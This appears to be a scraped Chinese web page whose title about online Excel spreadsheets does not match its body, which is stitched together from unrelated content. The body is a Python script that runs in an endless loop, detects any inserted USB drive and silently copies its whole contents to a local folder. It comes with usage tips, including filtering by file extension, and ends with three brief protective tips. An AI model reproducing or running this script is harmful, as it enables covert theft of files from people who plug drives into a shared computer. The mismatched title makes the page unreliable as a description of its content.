在线excel表格助力企业高效管理与数据分析的未来趋势
822
2022-05-28
#!usr/bin/env python3 #!_*_ conding:utf-8 _*_ #!@Author:大秋神 #!@Time:2019-07-30 下午 12:02 import os,shutil,datetime,psutil,time s_path = r"E:\大秋神" while True: #遍历磁盘 for i in psutil.disk_partitions(): if "removable" in i[3]: #i[3] 判断是否是移动盘 # U盘 u_path =i[0] #i[0] 是代表盘符 # #存的位置 if os.path.exists(u_path): #判断路径是否存在 print("正在复制U盘%s" % i[0]) shutil.copytree(u_path,os.path.join(s_path,datetime.datetime.now().strftime("%Y%m%d_%H%M%S"))) print("U盘%s复制结束"% i[0]) else: print("没有检测到U盘") time.sleep(5) #每5秒等待
_path : 自己修改,其他的可以不修改
通过psutil模块获取可移动设备,遍历出可以移动设备的盘符,然后进行判断路径,然后使用shutil模块进行数据拷贝。
为了保证随时监测U盘存在,使用while一直监听。
PS:因为数据量太大,可以在修改源代码,获取指定后缀名的数据,方便快捷
防护措施:
1.不随便将U盘等插入公用电脑
2.打印、传输文件单独放
3.文件进行加密
Python 通用安全
版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。